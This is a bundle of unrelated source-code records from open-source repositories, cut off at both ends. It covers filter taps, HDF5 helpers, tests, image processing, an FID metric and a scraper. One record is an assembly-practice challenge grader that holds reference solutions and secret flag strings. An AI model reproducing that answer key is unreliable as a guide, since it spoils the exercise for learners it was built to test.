3.11866e-02, -1.22047e-01, 8.71305e-01, 2.91006e-01, -8.77011e-02, 2.57844e-02, -4.55932e-03 ],\n [ -5.06363e-03, 3.05345e-02, -1.19837e-01, 8.77666e-01, 2.81060e-01, -8.52109e-02, 2.50946e-02, -4.44107e-03 ],\n [ -4.94589e-03, 2.98593e-02, -1.17526e-01, 8.83893e-01, 2.71144e-01, -8.26900e-02, 2.43930e-02, -4.32052e-03 ],\n [ -4.82456e-03, 2.91609e-02, -1.15113e-01, 8.89984e-01, 2.61263e-01, -8.01399e-02, 2.36801e-02, -4.19774e-03 ],\n [ -4.69970e-03, 2.84397e-02, -1.12597e-01, 8.95936e-01, 2.51417e-01, -7.75620e-02, 2.29562e-02, -4.07279e-03 ],\n [ -4.57135e-03, 2.76957e-02, -1.09978e-01, 9.01749e-01, 2.41609e-01, -7.49577e-02, 2.22218e-02, -3.94576e-03 ],\n [ -4.43955e-03, 2.69293e-02, -1.07256e-01, 9.07420e-01, 2.31843e-01, -7.23286e-02, 2.14774e-02, -3.81671e-03 ],\n [ -4.30435e-03, 2.61404e-02, -1.04430e-01, 9.12947e-01, 2.22120e-01, -6.96762e-02, 2.07233e-02, -3.68570e-03 ],\n [ -4.16581e-03, 2.53295e-02, -1.01501e-01, 9.18329e-01, 2.12443e-01, -6.70018e-02, 1.99599e-02, -3.55283e-03 ],\n [ -4.02397e-03, 2.44967e-02, -9.84679e-02, 9.23564e-01, 2.02814e-01, -6.43069e-02, 1.91877e-02, -3.41815e-03 ],\n [ -3.87888e-03, 2.36423e-02, -9.53307e-02, 9.28650e-01, 1.93236e-01, -6.15931e-02, 1.84071e-02, -3.28174e-03 ],\n [ -3.73062e-03, 2.27664e-02, -9.20893e-02, 9.33586e-01, 1.83711e-01, -5.88617e-02, 1.76185e-02, -3.14367e-03 ],\n [ -3.57923e-03, 2.18695e-02, -8.87435e-02, 9.38371e-01, 1.74242e-01, -5.61142e-02, 1.68225e-02, -3.00403e-03 ],\n [ -3.42477e-03, 2.09516e-02, -8.52933e-02, 9.43001e-01, 1.64831e-01, -5.33522e-02, 1.60193e-02, -2.86289e-03 ],\n [ -3.26730e-03, 2.00132e-02, -8.17385e-02, 9.47477e-01, 1.55480e-01, -5.05770e-02, 1.52095e-02, -2.72032e-03 ],\n [ -3.10689e-03, 1.90545e-02, -7.80792e-02, 9.51795e-01, 1.46192e-01, -4.77900e-02, 1.43934e-02, -2.57640e-03 ],\n [ -2.94361e-03, 1.80759e-02, -7.43154e-02, 9.55956e-01, 1.36968e-01, -4.49929e-02, 1.35716e-02, -2.43121e-03 ],\n [ -2.77751e-03, 1.70776e-02, -7.04471e-02, 9.59958e-01, 1.27812e-01, -4.21869e-02, 1.27445e-02, -2.28483e-03 ],\n [ -2.60868e-03, 1.60599e-02, -6.64743e-02, 9.63798e-01, 1.18725e-01, -3.93735e-02, 1.19125e-02, -2.13733e-03 ],\n [ -2.43718e-03, 1.50233e-02, -6.23972e-02, 9.67477e-01, 1.09710e-01, -3.65541e-02, 1.10760e-02, -1.98880e-03 ],\n [ -2.26307e-03, 1.39681e-02, -5.82159e-02, 9.70992e-01, 1.00769e-01, -3.37303e-02, 1.02356e-02, -1.83931e-03 ],\n [ -2.08645e-03, 1.28947e-02, -5.39305e-02, 9.74342e-01, 9.19033e-02, -3.09033e-02, 9.39154e-03, -1.68894e-03 ],\n [ -1.90738e-03, 1.18034e-02, -4.95412e-02, 9.77526e-01, 8.31162e-02, -2.80746e-02, 8.54441e-03, -1.53777e-03 ],\n [ -1.72594e-03, 1.06946e-02, -4.50483e-02, 9.80543e-01, 7.44095e-02, -2.52457e-02, 7.69462e-03, -1.38589e-03 ],\n [ -1.54221e-03, 9.56876e-03, -4.04519e-02, 9.83392e-01, 6.57852e-02, -2.24178e-02, 6.84261e-03, -1.23337e-03 ],\n [ -1.35627e-03, 8.42626e-03, -3.57525e-02, 9.86071e-01, 5.72454e-02, -1.95925e-02, 5.98883e-03, -1.08030e-03 ],\n [ -1.16820e-03, 7.26755e-03, -3.09503e-02, 9.88580e-01, 4.87921e-02, -1.67710e-02, 5.13372e-03, -9.26747e-04 ],\n [ -9.78093e-04, 6.09305e-03, -2.60456e-02, 9.90917e-01, 4.04274e-02, -1.39548e-02, 4.27773e-03, -7.72802e-04 ],\n [ -7.86031e-04, 4.90322e-03, -2.10389e-02, 9.93082e-01, 3.21531e-02, -1.11453e-02, 3.42130e-03, -6.18544e-04 ],\n [ -5.92100e-04, 3.69852e-03, -1.59305e-02, 9.95074e-01, 2.39714e-02, -8.34364e-03, 2.56486e-03, -4.64053e-04 ],\n [ -3.96391e-04, 2.47942e-03, -1.07209e-02, 9.96891e-01, 1.58840e-02, -5.55134e-03, 1.70888e-03, -3.09412e-04 ],\n [ -1.98993e-04, 1.24642e-03, -5.41054e-03, 9.98534e-01, 7.89295e-03, -2.76968e-03, 8.53777e-04, -1.54700e-04 ],\n [ 0.00000e+00, 0.00000e+00, 0.00000e+00, 1.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00, 0.00000e+00 ]\n]\n\nprint(\"static const int NUM_TAPS = 8;\")\nprint(\"static const int NUM_STEPS = 128;\")\nprint(\"static const mmseTaps[NUM_STEPS+1][NUM_TAPS] = {\")\nfor taps in filters:\n body = \", \".join(\"%.5e\" % t for t in reversed(taps))\n print(\"{ \" + body + \" },\")\nprint(\"};\")\n", "source": "codient/goestools", "license": "BSD-2-Clause"} {"text": "from contextlib import contextmanager\n\nfrom .file import H5File\n\n\n@contextmanager\ndef open_h5file(filename, mode='r+', **kwargs):\n \"\"\"Context manager for reading an HDF5 file as an H5File object.\n\n Parameters\n ----------\n filename : str\n HDF5 file name.\n mode : str\n Mode to open the file:\n\n 'r' : Read-only\n 'w' : Write; create new file (an existing file would be deleted).\n 'a' : Read and write to file; create if not existing\n 'r+': Read and write to file; must already exist\n\n See `H5File` for additional keyword arguments.\n \"\"\"\n h5 = H5File(filename, mode=mode, **kwargs)\n try:\n yield h5\n finally:\n h5.close()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "from typing import List\nfrom yearmonth.yearmonth import YearMonth\nimport pydantic \n\n\nclass MyModel(pydantic.BaseModel):\n ym: YearMonth \n\n\ndef test_pydantic_validators(): \n\n MyModel(ym=(2021, 1))\n MyModel(ym='2021-01')\n MyModel(ym=('2021', '01'))\n\n\ndef test_pydantic_schema(): \n\n schema = MyModel.schema()\n\n check_examples = ['2021-01', (2021, 1)]\n check_string = 'ISO 8601 compliant reduced precision calendar date'\n\n assert check_examples == schema['properties']['ym']['examples']\n assert check_string == schema['properties']['ym']['description']\n\n\ndef test_pydantic_json(): \n\n m = MyModel(ym='2021-01')\n assert m.json() == '{\"ym\": {\"year\": 2021, \"month\": 1}}'", "source": "bsnacks000/yearmonth", "license": "MIT"} {"text": "\"\"\" Byterund \u7684\u57fa\u672c\u6d4b\u8bd5\"\"\"\n\nimport vmtest\n\nclass It(vmtest.VmTestCase):\n def test1(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n @staticmethod\n def smeth(x):\n print(x)\n @classmethod\n def cmeth(cls, x):\n print(x)\n\n Thing.smeth(1492)\n Thing.cmeth(1776)\n \"\"\")\n\n def test_contstant(self):\n self.assert_ok(\"17\")\n\n def test_for_loop(self):\n self.assert_ok(\"\"\"\\\n out = \"\"\n for i in range(5):\n out = out + str(i)\n print(out)\n \"\"\")\n\n def test_slice(self):\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:8])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[:8])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[:])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[::-1])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print(\"hello, world\"[3:8:2])\n \"\"\")\n\n def test_slice_assignment(self):\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[3:8] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[:8] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[3:] = [\"x\"]\n print(l)\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[:] = [\"x\"]\n print(l)\n \"\"\")\n\n def test_building_stuff(self):\n self.assert_ok(\"\"\"\\\n print((1+1, 2+2, 3+3))\n \"\"\")\n self.assert_ok(\"\"\"\\\n print([1+1, 2+2, 3+3])\n \"\"\")\n self.assert_ok(\"\"\"\\\n print({1:1+1, 2:2+2, 3:3+3})\n \"\"\")\n\n def test_subscripting(self):\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n print(\"%s %s %s\" % (l[0], l[3], l[9]))\n \"\"\")\n self.assert_ok(\"\"\"\\\n l = list(range(10))\n l[5] = 17\n print(l)\n \"\"\")\n\n def test_list_comprehension(self):\n self.assert_ok(\"\"\"\\\n x = [z*z for z in range(5)]\n assert x == [0, 1, 4, 9, 16]\n \"\"\")\n\n def test_unary_operators(self):\n self.assert_ok(\"\"\"\\\n x = 8\n print(-x, ~x, not x)\n \"\"\")\n\n def test_attributes(self):\n self.assert_ok(\"\"\"\\\n l = lambda: 1 # Just to have an object...\n l.foo = 17\n print(hasattr(l, \"foo\"), l.foo)\n # del l.foo\n # print(hasattr(l, \"foo\"))\n \"\"\")\n\n def test_import(self):\n self.assert_ok(\"\"\"\\\n import math\n print(math.pi, math.e)\n from math import sqrt\n print(sqrt(2))\n # from math import * # not supported\n # print(sin(2))\n \"\"\")\n\n def test_staticmethods(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n @staticmethod\n def smeth(x):\n print(x)\n @classmethod\n def cmeth(cls, x):\n print(x)\n\n Thing.smeth(1492)\n Thing.cmeth(1776)\n \"\"\")\n\n def test_unbound_methods(self):\n self.assert_ok(\"\"\"\\\n class Thing(object):\n def meth(self, x):\n print(x)\n m = Thing.meth\n m(Thing(), 1815)\n \"\"\")\n\n def test_unpacking(self):\n self.assert_ok(\"\"\"\\\n a, b, c = (1, 2, 3)\n assert a == 1\n assert b == 2\n assert c == 3\n \"\"\")\n\n def test_exec_function(self):\n self.assert_ok(\"\"\"\\\n g = {}\n exec(\"a = 11\", g, g)\n assert g['a'] == 11\n \"\"\")\n\n def test_jump_if_true_or_pop(self):\n self.assert_ok(\"\"\"\\\n def f(a, b):\n return a or b\n assert f(17, 0) == 17\n assert f(0, 23) == 23\n assert f(0, \"\") == \"\"\n \"\"\")\n\n def test_jump_if_false_or_pop(self):\n self.assert_ok(\"\"\"\\\n def f(a, b):\n return not(a and b)\n assert f(17, 0) is True\n assert f(0, 23) is True\n assert f(0, \"\") is True\n assert f(17, 23) is False\n \"\"\")\n\n def test_pop_jump_if_true(self):\n self.assert_ok(\"\"\"\\\n def f(a):\n if not a:\n return 'foo'\n else:\n return 'bar'\n assert f(0) == 'foo'\n assert f(1) == 'bar'\n \"\"\")\n\nclass TestComparisons(vmtest.VmTestCase):\n def test_in(self):\n self.assert_ok(\"\"\"\\\n assert \"x\" in \"xyz\"\n assert \"x\" not in \"abc\"\n assert \"x\" in (\"x\", \"y\", \"z\")\n assert \"x\" not in (\"a\", \"b\", \"c\")\n \"\"\")\n\n def test_less(self):\n self.assert_ok(\"\"\"\\\n assert 1 < 3\n assert 1 <= 2 and 1 <= 1\n assert \"a\" < \"b\"\n assert \"a\" <= \"b\" and \"a\" <= \"a\"\n \"\"\")\n\n def test_greater(self):\n self.assert_ok(\"\"\"\\\n assert 3 > 1\n assert 3 >= 1 and 3 >= 3\n assert \"z\" > \"a\"\n assert \"z\" >= \"a\" and \"z\" >= \"z\"\n \"\"\")", "source": "yunkai123/my-500lines-notes", "license": "MIT"} {"text": "from platform import architecture\nfrom qiling import Qiling\nfrom typing import Union\n\nfrom asm_practice.coding.challenge import ArchSpec, Challenge, TestCase\n\nchallenges = []\n\namd64 = ArchSpec(\n pwntools_arch=\"amd64\",\n pwntools_os=\"linux\",\n qiling_rootfs=\"qiling/examples/rootfs/x86_linux/\",\n qiling_ostype=\"linux\",\n qiling_archtype=\"x8664\",\n)\n\n\"\"\"\nlea rax, [rdi+rsi] ;\n\"\"\"\n\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"Add rdi to rsi and store the result in rax using only one instruction.\",\n testcases=[\n TestCase(\n codeconditions=[\n (lambda c: len(c.splitlines()) == 1, \"too many instructions!\"),\n (lambda c: c.count(\";\") <= 1, \"too many instructions!\"),\n ],\n preconditions=[\n lambda ql: setattr(ql.reg, \"rdi\", 0x1000),\n lambda ql: setattr(ql.reg, \"rsi\", 0x2000),\n ],\n postconditions=[(lambda ql: ql.reg.rax == 0x3000, \"rax != rdi + rsi!\")],\n )\n ],\n secret=\"code{some_instructions_have_many_uses}\",\n )\n)\n\n\nclass IOBuffer:\n def __init__(self) -> None:\n self.buffer = b\"\"\n\n def write(self, ql, fd, buf, count, *args, **kw) -> int:\n self.buffer += ql.mem.read(buf, count)\n ql.os.set_syscall_return(count)\n\n\n\"\"\"\nmov rax, 0x616d72656b636168 ;\npush rax ;\nmov rsi, rsp ;\nmov rdi, 0x1 ;\nmov rdx, 0x8 ;\nmov rax, 0x1 ;\nsyscall ;\nmov rax, 0x6e ;\npush rax ;\nmov rsi, rsp ;\nmov rdi, 0x1 ;\nmov rdx, 0x1 ;\nmov rax, 0x1 ;\nsyscall ;\n\"\"\"\n\nIOBuffer_0 = IOBuffer()\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"Print the string 'hackerman' to stdout.\",\n testcases=[\n TestCase(\n preconditions=[lambda ql: ql.set_syscall(\"write\", IOBuffer_0.write)],\n postconditions=[\n (\n lambda ql: IOBuffer_0.buffer == b\"hackerman\" or print(f'stdout was {IOBuffer_0.buffer}, not \\'hackerman\\'!'),\n f\"\",\n )\n ],\n )\n ],\n secret=\"code{asm_c4n_d0_anything_java_can_do}\",\n )\n)\n\n\"\"\"\nmov rax, 0x0 ;\ncomp:\ncmp rax, 0x20 ;\njg end;\nmov bl, [rsi+rax] ;\nxor bl, 0x82 ;\nmov byte ptr [rsi+rax], bl ;\ninc rax ;\njmp comp ;\nend:\nmov rax, 0x1 ;\nmov rdi, 0x1 ;\nmov rdx, 0x20 ;\nsyscall ;\n\"\"\"\n\nADDR_0 = 0x10000000//0x1000*0x1000\nIOBuffer_1 = IOBuffer()\nchallenges.append(\n Challenge(\n archspec=amd64,\n instructions=\"\"\"\n Register rsi contains a pointer to the flag, but the \n flag has been encoded by XOR-ing each byte with 0x82. \n Decode it and print it out to complete the challenge!\n Hint: the flag is 32 characters long...\n \"\"\",\n testcases=[\n TestCase(\n preconditions=[\n lambda ql: ql.mem.map(ADDR_0, 0x1000),\n lambda ql: ql.mem.write(\n ADDR_0,\n b\"\\xe0\\xe1\\xf6\\xe4\\xf9\\xe1\\xb2\\xec\\xe5\\xf0\\xe3\\xf6\\xf1\\xdd\\xfb\\xb2\\xf7\\xdd\\xe3\\xf0\\xe7\\xdd\\xe3\\xdd\\xf2\\xf0\\xb2\\xa3\\xa3\\xa3\\xa3\\xff\",\n # b\"bctf{c0ngrats_y0u_are_a_pr0!!!!}\"\n ),\n lambda ql: setattr(ql.reg, \"rsi\", ADDR_0),\n lambda ql: ql.set_syscall(\"write\", IOBuffer_1.write)\n ],\n postconditions=[(lambda ql: IOBuffer_1.buffer == b'bctf{c0ngrats_y0u_are_a_pr0!!!!}', 'didn\\'t print out the encrypted flag!')],\n )\n ],\n secret=\"code{did_you_get_the_flag?}\",\n )\n)\n", "source": "novafacing/challenges", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 24 11:39:42 2015\n\n@author: dahoiv\n\"\"\"\n\nimport numpy as np\n\ndef loadMetrics(filepath):\n mr_points=dict()\n us_points=dict()\n with open(filepath, 'r') as file :\n for line in file.readlines():\n line = line.translate(None, '\"')\n \n data= line.split()\n if not \"pointMetric\" in data[0]:\n continue\n key= data[1][-2:]\n point = data[6:9]\n if \"_mr_\" in data[1] and not \"us\" in data[2].lower():\n mr_points[key]=[float(point[0]),float(point[1]),float(point[2])]\n if \"_us_\" in data[1] and \"us\" in data[2].lower():\n us_points[key]=[float(point[0]),float(point[1]),float(point[2])]\n return (mr_points,us_points)\n \ndef calcDist(mr_points,us_points):\n k=0\n dist=[]\n for key in mr_points.keys():\n if not key in us_points.keys():\n print key, \" missing in us\"\n continue\n diff = np.array(mr_points[key])-np.array(us_points[key])\n dist.append((diff[0]**2 +diff[1]**2 +diff[2]**2)**0.5)\n print key, dist[-1]\n k=k+1\n print \"mean; \", np.mean(dist)\n print \"var: \", np.var(dist)\n \nif __name__ == '__main__': \n filePath1=\"/home/dahoiv/disk/data/brainshift/079_Tumor.cx3/Logs/metrics_a.txt\"\n (mr_points_1,us_points_1)=loadMetrics(filePath1) \n calcDist(mr_points_1,us_points_1)\n \n \n filePath2=\"/home/dahoiv/disk/data/brainshift/079_Tumor.cx3/Logs/metrics_b.txt\"\n (mr_points_2,us_points_2)=loadMetrics(filePath2)\n calcDist(mr_points_2,us_points_2)\n ", "source": "Danielhiversen/pyCustusx", "license": "MIT"} {"text": "\nfrom __future__ import absolute_import\n__author__ = 'ross'\n\nimport unittest\n\nfrom pychron.experiment.utilities.comment_template import CommentTemplater\n\n\nclass MockFactory(object):\n irrad_level = 'A'\n irrad_hole = '9'\n\n\nclass CommentTemplaterTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.obj=MockFactory()\n\n def test_render1(self):\n self._test_render('irrad_level : irrad_hole', 'A:9')\n\n def test_render2(self):\n self._test_render('irrad_level : irrad_hole SCLF', 'A:9SCLF')\n\n def test_render3(self):\n self._test_render('irrad_level : irrad_hole SCLF', 'A:9 SCLF')\n\n def _test_render(self, label, expected):\n ct = CommentTemplater()\n ct.label=label\n r = ct.render(self.obj)\n self.assertEqual(expected, r)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "# Code apapted from https://github.com/mseitzer/pytorch-fid\n\n\"\"\"Calculates the Frechet Inception Distance (FID) to evalulate GANs\nThe FID metric calculates the distance between two distributions of images.\nTypically, we have summary statistics (mean & covariance matrix) of one\nof these distributions, while the 2nd distribution is given by a GAN.\nWhen run as a stand-alone program, it compares the distribution of\nimages that are stored as PNG/JPEG at a specified location with a\ndistribution given by summary statistics (in pickle format).\nThe FID is calculated by assuming that X_1 and X_2 are the activations of\nthe pool_3 layer of the inception net for generated samples and real world\nsamples respectively.\nSee --help to see further details.\nCode apapted from https://github.com/bioinf-jku/TTUR to use PyTorch instead\nof Tensorflow\nCopyright 2018 Institute of Bioinformatics, JKU Linz\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport time\nimport numpy as np\nimport torch\nfrom scipy import linalg\nfrom torch.nn.functional import adaptive_avg_pool2d\nfrom util import tools\n\n\ndef get_activations(dataset, model, size=1000, batch_size=50, dims=2048, device='cpu'):\n \"\"\"Calculates the activations of the pool_3 layer for all images.\n Params:\n -- files : List of image files paths\n -- model : Instance of inception model\n -- batch_size : Batch size of images for the model to process at once.\n Make sure that the number of samples is a multiple of\n the batch size, otherwise some samples are ignored. This\n behavior is retained to match the original FID score\n implementation.\n -- dims : Dimensionality of features returned by Inception\n -- device : Device to run calculations\n Returns:\n -- A numpy array of dimension (num images, dims) that contains the\n activations of the given tensor when feeding inception with the\n query tensor.\n \"\"\"\n model.eval()\n\n if batch_size > size:\n print(('Warning: batch size is bigger than the data size. '\n 'Setting batch size to data size'))\n batch_size = size\n\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=False, drop_last=False)\n\n pred_arr = np.empty((size, dims))\n start_idx = 0\n\n for batch, _ in dataloader:\n if batch.shape[1] == 1:\n batch = torch.cat((batch, batch, batch), 1)\n batch = batch.to(device)\n with torch.no_grad():\n pred = model(batch)[0]\n\n # If model output is not scalar, apply global spatial average pooling.\n # This happens if you choose a dimensionality not equal 2048.\n if pred.size(2) != 1 or pred.size(3) != 1:\n pred = adaptive_avg_pool2d(pred, output_size=(1, 1))\n\n pred = pred.squeeze(3).squeeze(2).cpu().numpy()\n pred_arr[start_idx:start_idx + pred.shape[0]] = pred\n start_idx = start_idx + pred.shape[0]\n if start_idx >= size:\n break\n return pred_arr\n\n\ndef calculate_frechet_distance(mu1, sigma1, mu2, sigma2, eps=1e-6):\n \"\"\"Numpy implementation of the Frechet Distance.\n The Frechet distance between two multivariate Gaussians X_1 ~ N(mu_1, C_1)\n and X_2 ~ N(mu_2, C_2) is\n d^2 = ||mu_1 - mu_2||^2 + Tr(C_1 + C_2 - 2*sqrt(C_1*C_2)).\n Stable version by Dougal J. Sutherland.\n Params:\n -- mu1 : Numpy array containing the activations of a layer of the\n inception net (like returned by the function 'get_predictions')\n for generated samples.\n -- mu2 : The sample mean over activations, precalculated on an\n representative data set.\n -- sigma1: The covariance matrix over activations for generated samples.\n -- sigma2: The covariance matrix over activations, precalculated on an\n representative data set.\n Returns:\n -- : The Frechet Distance.\n \"\"\"\n\n mu1 = np.atleast_1d(mu1)\n mu2 = np.atleast_1d(mu2)\n\n sigma1 = np.atleast_2d(sigma1)\n sigma2 = np.atleast_2d(sigma2)\n\n assert mu1.shape == mu2.shape, 'Training and test mean vectors have different lengths'\n assert sigma1.shape == sigma2.shape, 'Training and test covariances have different dimensions'\n\n diff = mu1 - mu2\n\n # Product might be almost singular\n start_time = time.time()\n covmean, _ = linalg.sqrtm(sigma1.dot(sigma2), disp=False)\n print(\"FID: sqrtm --- %s seconds ---\" % (time.time() - start_time))\n if not np.isfinite(covmean).all():\n msg = ('fid calculation produces singular product; '\n 'adding %s to diagonal of cov estimates') % eps\n print(msg)\n offset = np.eye(sigma1.shape[0]) * eps\n covmean = linalg.sqrtm((sigma1 + offset).dot(sigma2 + offset))\n\n # Numerical error might give slight imaginary component\n if np.iscomplexobj(covmean):\n if not np.allclose(np.diagonal(covmean).imag, 0, atol=1e-3):\n m = np.max(np.abs(covmean.imag))\n # raise ValueError('Imaginary component {}'.format(m))\n print('Imaginary component {}'.format(m))\n covmean = covmean.real\n\n tr_covmean = np.trace(covmean)\n return diff.dot(diff) + np.trace(sigma1) + np.trace(sigma2) - 2 * tr_covmean\n\n\ndef calculate_activation_statistics(dataset, model, size=1000, batch_size=50, dims=2048):\n act = get_activations(dataset, model, size, batch_size, dims, tools.device_name())\n mu = np.mean(act, axis=0)\n sigma = np.cov(act, rowvar=False)\n return mu, sigma\n", "source": "vfcosta/coegan-trained", "license": "MIT"} {"text": "import os.path\n\nfrom twisted.internet import defer\n\nimport pysoup.utils\n\n\nclass Virtualenv(object):\n\n def __init__(self, display_pip, path):\n self._display_pipe = display_pip\n self._path = path\n\n @property\n def path(self):\n return self._path\n\n @property\n def venv_path(self):\n return os.path.join(self._path, 'venv')\n\n @property\n def source_path(self):\n return os.path.join(self.venv_path, 'bin/activate')\n\n @defer.inlineCallbacks\n def create(self):\n self._display_pipe.log('Ensuring virtualenv environment at {0}'.format(self._path))\n\n code = yield pysoup.utils.execute_shell_command('mkdir -p {0} && virtualenv --no-site-packages -q {0}'.format(self.venv_path))\n if code != 0:\n self._display_pipe.error('Failed to setup virtualenv at target! ({0})'.format(self._path))\n raise Exception('Could not create virtualenv')\n\n self._display_pipe.notify('Virtualenv is ready')\n\n @defer.inlineCallbacks\n def execute_in_venv(self, command):\n code = yield pysoup.utils.execute_shell_command('source {0} && {1}'.format(self.source_path, command))\n defer.returnValue(code)\n", "source": "illBeRoy/pysoup", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nimport torch\nimport json\nimport math\nimport random\nimport numpy as np\nfrom scipy import ndimage\nfrom pymic.transform.abstract_transform import AbstractTransform\nfrom pymic.util.image_process import *\n\n\nclass ChannelWiseThreshold(AbstractTransform):\n \"\"\"Threshold the image (shape [C, D, H, W] or [C, H, W]) for each channel\n \"\"\"\n def __init__(self, params):\n \"\"\"\n channels (tuple/list/None): the list of specified channels for thresholding. Default value \n is all the channels.\n threshold_lower (tuple/list/None): The lower threshold values for specified channels.\n threshold_upper (tuple/list/None): The uppoer threshold values for specified channels.\n replace_lower (tuple/list/None): new values for pixels with intensity smaller than \n threshold_lower. Default value is \n replace_upper (tuple/list/None): new values for pixels with intensity larger than threshold_upper.\n \"\"\"\n super(ChannelWiseThreshold, self).__init__(params)\n self.channlels = params['ChannelWiseThreshold_channels'.lower()]\n self.threshold_lower = params['ChannelWiseThreshold_threshold_lower'.lower()]\n self.threshold_upper = params['ChannelWiseThreshold_threshold_upper'.lower()]\n self.replace_lower = params['ChannelWiseThreshold_replace_lower'.lower()]\n self.replace_upper = params['ChannelWiseThreshold_replace_upper'.lower()]\n self.inverse = params.get('ChannelWiseThreshold_inverse'.lower(), False)\n\n def __call__(self, sample):\n image= sample['image']\n channels = range(image.shape[0]) if self.channlels is None else self.channlels\n for i in range(len(channels)):\n chn = channels[i]\n if((self.threshold_lower is not None) and (self.threshold_lower[i] is not None)):\n t_lower = self.threshold_lower[i]\n r_lower = self.threshold_lower[i]\n if((self.replace_lower is not None) and (self.replace_lower[i] is not None)):\n r_lower = self.replace_lower[i]\n image[chn][image[chn] < t_lower] = r_lower\n \n if((self.threshold_upper is not None) and (self.threshold_upper[i] is not None)):\n t_upper = self.threshold_upper[i]\n r_upper = self.threshold_upper[i]\n if((self.replace_upper is not None) and (self.replace_upper[i] is not None)):\n r_upper= self.replace_upper[i]\n image[chn][image[chn] > t_upper] = r_upper\n sample['image'] = image\n return sample\n\nclass ChannelWiseThresholdWithNormalize(AbstractTransform):\n \"\"\"\n Note that this can be replaced by ChannelWiseThreshold + NormalizeWithMinMax\n \n Threshold the image (shape [C, D, H, W] or [C, H, W]) for each channel\n and then normalize the image based on remaining pixels\n \"\"\"\n def __init__(self, params):\n \"\"\"\n :param threshold_lower: (tuple/list/None) The lower threshold value along each channel.\n :param threshold_upper: (typle/list/None) The upper threshold value along each channel.\n :param mean_std_mode: (bool) If true, nomalize the image based on mean and std values,\n and pixels values outside the threshold value are replaced random number.\n If false, use the min and max values for normalization.\n \"\"\"\n super(ChannelWiseThresholdWithNormalize, self).__init__(params)\n self.threshold_lower = params['ChannelWiseThresholdWithNormalize_threshold_lower'.lower()]\n self.threshold_upper = params['ChannelWiseThresholdWithNormalize_threshold_upper'.lower()]\n self.mean_std_mode = params['ChannelWiseThresholdWithNormalize_mean_std_mode'.lower()]\n self.inverse = params.get('ChannelWiseThresholdWithNormalize_inverse'.lower(), False)\n\n def __call__(self, sample):\n image= sample['image']\n for chn in range(image.shape[0]):\n v0 = self.threshold_lower[chn]\n v1 = self.threshold_upper[chn]\n if(self.mean_std_mode == True):\n mask = np.ones_like(image[chn])\n if(v0 is not None):\n mask = mask * np.asarray(image[chn] > v0)\n if(v1 is not None):\n mask = mask * np.asarray(image[chn] < v1)\n pixels = image[chn][mask > 0]\n chn_mean = pixels.mean()\n chn_std = pixels.std()\n chn_norm = (image[chn] - chn_mean)/chn_std\n chn_random = np.random.normal(0, 1, size = chn_norm.shape)\n chn_norm[mask == 0] = chn_random[mask == 0]\n image[chn] = chn_norm\n else:\n img_chn = image[chn]\n if(v0 is not None):\n img_chn[img_chn < v0] = v0\n min_value = v0 \n else:\n min_value = img_chn.min()\n if(v1 is not None):\n img_chn[img_chn > v1] = v1 \n max_value = img_chn.max() \n else:\n max_value = img_chn.max() \n img_chn = (img_chn - min_value) / (max_value - min_value)\n image[chn] = img_chn\n sample['image'] = image\n return sample", "source": "HiLab-git/PyMIC", "license": "Apache-2.0"} {"text": "class Cpf:\n def __init__(self, documento):\n documento = str(documento)\n if self.cpf_eh_valido(documento):\n self.cpf = documento\n else:\n raise ValueError(\"CPF inv\u00e1lido!\")\n\n def cpf_eh_valido(self, documento):\n if len(documento) == 11:\n return True\n else:\n return False\n\n def cpf_formato(self):\n fatia_um = self.cpf[:3]\n fatia_dois = self.cpf[3:6]\n fatia_tres = self.cpf[6:9]\n fatia_quatro = self.cpf[9:]\n return(\n \"{}.{}.{}-{}\".format(\n fatia_um,\n fatia_dois,\n fatia_tres,\n fatia_quatro\n )\n )\n", "source": "LuizMoreira-py/cadastro", "license": "MIT"} {"text": "BASE_URL=\"https://harpers.org/sections/readings/page/\"\nN_ARTICLE_LINK_PAGES = 50\nOUTPUT_FILE = 'harpers-later-urls.json'\nWORKER_THREADS = 32\n\n\nimport json\nimport datetime\nimport dateutil.parser\nfrom dataclasses import dataclass\nfrom dataclasses_json import dataclass_json\nfrom datetime import datetime\nfrom newspaper import Article\nfrom bs4 import BeautifulSoup\nfrom typing import List\nfrom queue import Queue\nfrom threading import Thread\nfrom requests import get\nfrom pathlib import Path\nimport pandas as pd\nfrom urllib.request import Request, urlopen\n\n\n@dataclass_json\n@dataclass\nclass HarperReadingArticleUrl:\n url: str\n title: str\n\nclass WriteThread(Thread):\n def __init__(self, queue: Queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.queue = queue\n\n def run(self):\n existing_links = []\n \n while True:\n article = self.queue.get()\n\n if article is None:\n output_file_path = 